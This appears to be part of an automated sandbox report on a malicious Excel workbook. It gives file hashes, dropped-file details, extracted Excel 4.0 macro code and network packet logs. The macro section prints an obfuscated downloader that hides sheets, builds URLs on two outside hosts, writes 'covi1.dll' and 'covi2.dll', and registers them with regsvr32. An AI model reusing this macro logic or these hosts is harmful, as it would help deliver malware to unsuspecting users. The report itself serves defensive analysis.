                                                                                                                                                        Preview: .PNG........IHDR..............[.J....sRGB.........pHYs..........+......IDATx^.].`......{%.$..A...R.P@z....O...S.<;.VT.REA.(...I...{.......m...]..r./.......~.|]h.Z....P.(........E."@...P.(.v.P.@..E."@....#@y.......E."@y.......E."...*78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x...7x...S.(...g.P...!.=E."@..<.(o.5.3..P.(.......B.{..E.".y.P..ykNgL...P..!@y.3.......E........."@...8C...g...)......!@y..9.1E."@.p........S.(....C....[s:c..E."......!D...P.(.........t.....E....78C.~O...P.<....<o..).....3.(op...."@...x..
                                                                                                                                                        C:\Users\user\AppData\Local\Temp\82910000
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:data
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):159424
                                                                                                                                                        Entropy (8bit):7.9626104869253655
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3072:y89VlUBWA6CFvA7brCxAVIK5AkmxVymd1xXP8yTkdm3bGeAxiqM8:y83liWA6FiY5qxVyWxf8yTkeGKs
                                                                                                                                                        MD5:78E4A91DFA2A7A9FE99134560615D7AF
                                                                                                                                                        SHA1:CFB54594DEA09B4D0EE9F206120740CAE4E6DFCD
                                                                                                                                                        SHA-256:8CC94AB44EE492880D4FA27C37D3C973A55579E83F4954C9A3C76651EAFE36A4
                                                                                                                                                        SHA-512:15CF479AE07168E2D713A2177742D77B086482ADAE23321B5944D72631BAC30CCDF749B97FEADB203A195DCB9733C71E280D1449E9834B78AB2FC7B63609A2C6
                                                                                                                                                        Malicious:false
                                                                                                                                                        Preview: .U.n.0....?......(..r.mzl.$...\K....I..V.6Pl.6.^.....v.7.k.'...k.U3c.8.v].~=|.?...pJ..e[@v.x.n.....E;lY.R..9......pt...D...A.._.f.....Ku..l1..+.hRu...;%K.X.u._.j...h)...ON."..j.%(/.-A7."..=@...Q.c...(1d|.3.....Ys.>....4....E.T...?.Yo0.}..~R..VP..~.Kn...>..... .L.5l$..8.X!..ubi..v/..0.H..vu..Mr.~9..<Q....Q.....3'...C...r$.Q.Sr. ..)]6).DC.x...W.........=....>.....o.#:T..Y.....}.:.K......."Lw.e...:...a?[.&..v.......n^...7.......PK..........!..:......m.......[Content_Types].xml ...(.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                        C:\Users\user\Desktop\~$research-1234799369.xlsb
                                                                                                                                                        Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                        File Type:data
                                                                                                                                                        Category:dropped
                                                                                                                                                        Size (bytes):165
                                                                                                                                                        Entropy (8bit):1.6081032063576088
                                                                                                                                                        Encrypted:false
                                                                                                                                                        SSDEEP:3:RFXI6dtt:RJ1
                                                                                                                                                        MD5:7AB76C81182111AC93ACF915CA8331D5
                                                                                                                                                        SHA1:68B94B5D4C83A6FB415C8026AF61F3F8745E2559
                                                                                                                                                        SHA-256:6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF
                                                                                                                                                        SHA-512:A09AB74DE8A70886C22FB628BDB6A2D773D31402D4E721F9EE2F8CCEE23A569342FEECF1B85C1A25183DD370D1DFFFF75317F628F9B3AA363BBB60694F5362C7
                                                                                                                                                        Malicious:true
                                                                                                                                                        Preview: .pratesh ..p.r.a.t.e.s.h. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

                                                                                                                                                        Static File Info

                                                                                                                                                        General

                                                                                                                                                        File type:Microsoft Excel 2007+
                                                                                                                                                        Entropy (8bit):7.955436493563743
                                                                                                                                                        TrID:
                                                                                                                                                        • Excel Microsoft Office Binary workbook document (47504/1) 49.74%
                                                                                                                                                        • Excel Microsoft Office Open XML Format document (40004/1) 41.89%
                                                                                                                                                        • ZIP compressed archive (8000/1) 8.38%
                                                                                                                                                        File name:research-1234799369.xlsb
                                                                                                                                                        File size:158761
                                                                                                                                                        MD5:67f1e54dd81e9c126975c8356d524a97
                                                                                                                                                        SHA1:c3402eab0b72b805070d7b3e403da2db2a6c6344
                                                                                                                                                        SHA256:032d16df59c9a45e044e348443a18d830b9f895329587559f1316536733ae277
                                                                                                                                                        SHA512:fa1946ef4e400bcf9e5389a047586e9b2661b8e0c24dd110ed2f57cbef93290e4487ca7565c6268ca8676a712c7a7eae69159eaafb06d94209a12868ed3eb792
                                                                                                                                                        SSDEEP:3072:BU9VlUBWA6CFvA7bRCxAVIK2xVymd1xXP+Ph9vajtC1gBbZIbG:BU3liWA6FsY2xVyWxf+QegBbB
                                                                                                                                                        File Content Preview:PK..........!.^.~.............[Content_Types].xml ...(......................................................................11.................................................................................................................................

                                                                                                                                                        File Icon

                                                                                                                                                        Icon Hash:74f0d0d2c6d6d0f4

                                                                                                                                                        Static OLE Info

                                                                                                                                                        General

                                                                                                                                                        Document Type:OpenXML
                                                                                                                                                        Number of OLE Files:1

                                                                                                                                                        OLE File "research-1234799369.xlsb"

                                                                                                                                                        Indicators

                                                                                                                                                        Has Summary Info:
                                                                                                                                                        Application Name:
                                                                                                                                                        Encrypted Document:
                                                                                                                                                        Contains Word Document Stream:
                                                                                                                                                        Contains Workbook/Book Stream:
                                                                                                                                                        Contains PowerPoint Document Stream:
                                                                                                                                                        Contains Visio Document Stream:
                                                                                                                                                        Contains ObjectPool Stream:
                                                                                                                                                        Flash Objects Count:
                                                                                                                                                        Contains VBA Macros:

                                                                                                                                                        Macro 4.0 Code

                                                                                                                                                        ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                                                                                                        ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,J,,CAL,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,EXEC,,,0,,LM,JC,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,on,CB,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,wnl,,oadT,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,Fil,,LDo,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,""")",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,&,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""r",,,,0,0,,,eimathsuae.com/qHsyiySHrKs/pt.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,eg,,,,,,,,tisindia.com/gmfo0266/pt.html,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,svr32 -s ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=,=,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"(""",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,",0",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
                                                                                                                                                        "=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=FORMULA('Doc2'!BL28,'Doc3'!AY16)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=ABS(8.74526348672131E+100)=ACOS(7.89475612348768E+58)=ACOSH(8.76976979789786E+39)=FORMULA(""U""&'Doc3'!AY16&'Doc2'!BL29&'Doc2'!BL30,'Doc3'!AY10)",,,,,,,,,,,,"=FORMULA('Doc2'!BO36,'Doc3'!AY13)",,,,,,"=FORMULA('Doc2'!BM28&'Doc2'!BM29&'Doc2'!BM30&""B"",'Doc3'!AY12)",,,,,,"=FORMULA(before.5.35.61.sheet!BP47,'Doc3'!AY17)",,,,,,"=FORMULA('Doc2'!BO37,'Doc3'!AY14)",,,,,,"=FORMULA('Doc2'!BK39,'Doc3'!AY18)",,,,,,"=FORMULA(""U""&'Doc3'!AY16&'Doc2'!BL32&'Doc2'!BJ31&'Doc2'!BL31&'Doc2'!BL34&'Doc2'!BJ32&""eA"",'Doc3'!AY11)",,,,,,"=FORMULA('Doc2'!BJ39&'Doc2'!BO28&'Doc3'!AY17&'Doc2'!BJ43&'Doc3'!AY10&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY11&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY12&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ42&'Doc2'!BJ41&""https://""&'Doc3'!AY14&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&before.5.35.61.sheet!BO53&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ45&'Doc2'!BJ44,'Doc3'!AW11)",,,,,,,,,,,,"=WORKBOOK.HIDE(""Doc2"",1)",,,,,,"=WORKBOOK.HIDE(""Doc4"",1)=WORKBOOK.HIDE(""Doc3"",1)",,,,,,"=RIGHT(""LdecvsbgvrsxLxrgxgL"",1)",,,,,,,,,,,,"=FORMULA('Doc3'!AY18&'Doc2'!BG29&'Doc2'!BG36&'Doc2'!BG37&'Doc2'!BG38&'Doc2'!BG34&'Doc2'!BG35&'Doc2'!BG34&before.5.35.61.sheet!BO52&'Doc2'!BG33,'Doc3'!AW14)",,,,,,"=FORMULA('Doc3'!AY18&'Doc2'!BG29&'Doc2'!BG36&'Doc2'!BG37&'Doc2'!BG38&'Doc2'!BG34&'Doc2'!BG35&'Doc2'!BG34&before.5.35.61.sheet!BO53&'Doc2'!BG33,'Doc3'!AW15)",,,,,,,,,,,"=""..\covi1.dll""","=FORMULA('Doc2'!BJ39&'Doc2'!BO28&'Doc3'!AY17&'Doc2'!BJ43&'Doc3'!AY10&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY11&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&'Doc3'!AY12&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ42&'Doc2'!BJ41&""https://""&'Doc3'!AY13&'Doc2'!BJ41&'Doc2'!BJ42&'Doc2'!BJ41&before.5.35.61.sheet!BO52&'Doc2'!BJ41&'Doc2'!BJ45&'Doc2'!BJ45&'Doc2'!BJ44,'Doc3'!AW10)=SUMXMY2(452354,45245)",,,,,"=""..\covi2.dll""",,,,,,,,,,,,,,,,,,,=GOTO('Doc3'!AW2),,,,,,,,,,,,,,,,,,,,,,,"=LEFT(""LdecvsbgvrsxLxrgxg"",1)",

                                                                                                                                                        Network Behavior

                                                                                                                                                        Network Port Distribution

                                                                                                                                                        TCP Packets

                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                        Jun 11, 2021 22:31:25.700454950 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:25.889611959 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:25.889749050 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:25.890654087 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.078363895 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.078413010 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.078448057 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.078480959 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.078509092 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.078671932 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.078735113 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.118525028 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.305952072 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.306093931 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.307600975 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.532782078 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.915323973 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.915525913 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.915544987 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.915555954 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.915612936 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.915638924 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.915657043 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:26.915716887 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:27.100841045 CEST4434971952.220.160.98192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.101053953 CEST49719443192.168.2.352.220.160.98
                                                                                                                                                        Jun 11, 2021 22:31:27.112004995 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.270428896 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.270641088 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.271289110 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.431022882 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.432694912 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.432751894 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.432781935 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.432904005 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.432950974 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.444655895 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.602591038 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.602926970 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.603532076 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:27.802186966 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:28.022025108 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:28.022269011 CEST4434972167.227.192.75192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:28.022288084 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:28.022341967 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:28.031925917 CEST49721443192.168.2.367.227.192.75
                                                                                                                                                        Jun 11, 2021 22:31:28.189248085 CEST4434972167.227.192.75192.168.2.3

                                                                                                                                                        UDP Packets

                                                                                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                        Jun 11, 2021 22:31:07.320111036 CEST6015253192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:07.374708891 CEST53601528.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:08.493714094 CEST5754453192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:08.544064045 CEST53575448.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:10.274041891 CEST5598453192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:10.333025932 CEST53559848.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:11.285087109 CEST6418553192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:11.335372925 CEST53641858.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:12.645503998 CEST6511053192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:12.698477983 CEST53651108.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:16.343342066 CEST5836153192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:16.393603086 CEST53583618.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:18.341737986 CEST6349253192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:18.395210028 CEST53634928.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:19.318605900 CEST6083153192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:19.409013033 CEST53608318.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:19.840128899 CEST6010053192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:19.916434050 CEST53601008.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:20.369613886 CEST5319553192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:20.419764042 CEST53531958.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:20.869127989 CEST6010053192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:20.922121048 CEST53601008.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:21.508477926 CEST5014153192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:21.567333937 CEST53501418.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:21.916125059 CEST6010053192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:22.009448051 CEST53601008.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:23.549573898 CEST5302353192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:23.608670950 CEST53530238.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:23.978764057 CEST6010053192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:24.042562962 CEST53601008.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:25.108767986 CEST4956353192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:25.159334898 CEST53495638.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:25.347352028 CEST5135253192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:25.697499037 CEST53513528.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.078811884 CEST5934953192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:26.130429983 CEST53593498.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:26.937757015 CEST5708453192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:27.110105991 CEST53570848.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:27.602823973 CEST5882353192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:27.654728889 CEST53588238.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:28.029329062 CEST6010053192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:28.082304955 CEST53601008.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:30.147578955 CEST5756853192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:30.206346035 CEST53575688.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:31.290484905 CEST5054053192.168.2.38.8.8.8
                                                                                                                                                        Jun 11, 2021 22:31:31.343641043 CEST53505408.8.8.8192.168.2.3
                                                                                                                                                        Jun 11, 2021 22:31:32.215313911 CEST5436653192.168.2.38.8.8.8
